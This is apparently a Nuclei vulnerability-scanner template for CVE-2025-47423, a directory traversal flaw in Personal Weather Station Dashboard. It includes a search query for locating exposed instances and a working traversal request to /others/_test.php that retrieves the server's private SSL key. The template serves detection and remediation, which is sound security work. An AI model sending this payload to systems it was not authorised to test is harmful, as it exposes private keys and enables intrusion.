id: CVE-2025-47423

info:
  name: Personal Weather Station Dashboard 12 - Directory Traversal
  author: pussycat0x
  severity: high
  description: |
    Personal Weather Station Dashboard 12_lts allows unauthenticated remote attackers to read arbitrary files via ../ directory traversal in the test parameter to /others/_test.php, as demonstrated by reading the server's private SSL key in cleartext.
  impact: |
    Unauthenticated attackers can read arbitrary files including private SSL keys through directory traversal in the test parameter, potentially exposing sensitive cryptographic material.
  remediation: |
    Upgrade Personal Weather Station Dashboard to a version later than 12_lts that properly validates file paths.
  reference:
    - https://github.com/Haluka92/CVE-2025-47423
    - https://pwsdashboard.com/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N
    cvss-score: 5.8
    cve-id: CVE-2025-47423
    cwe-id: CWE-24
    epss-score: 0.02114
    epss-percentile: 0.79414
  metadata:
    fofa-query: title="PWS Dashboard"
    max-request: 2
  tags: cve,cve2025,lfi,pws,traversal,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: body
        words:
          - "PWS Dashboard</title>"
        internal: true

  - raw:
      - |
        GET /others/_test.php?test=../../../apache/conf/ssl.key/server.key HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "BEGIN RSA PRIVATE KEY"
          - "END RSA PRIVATE KEY"
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a004730450221009c4f81abbdb7bc43d484c26b791e4591f3a0f827be7a4328a0230e639a5fb738022034089640ef5befa53b7a7d05081e0d645ad54fa27c4d065a67c49c26482eff67:922c64590222798bb761d5b6d8e72950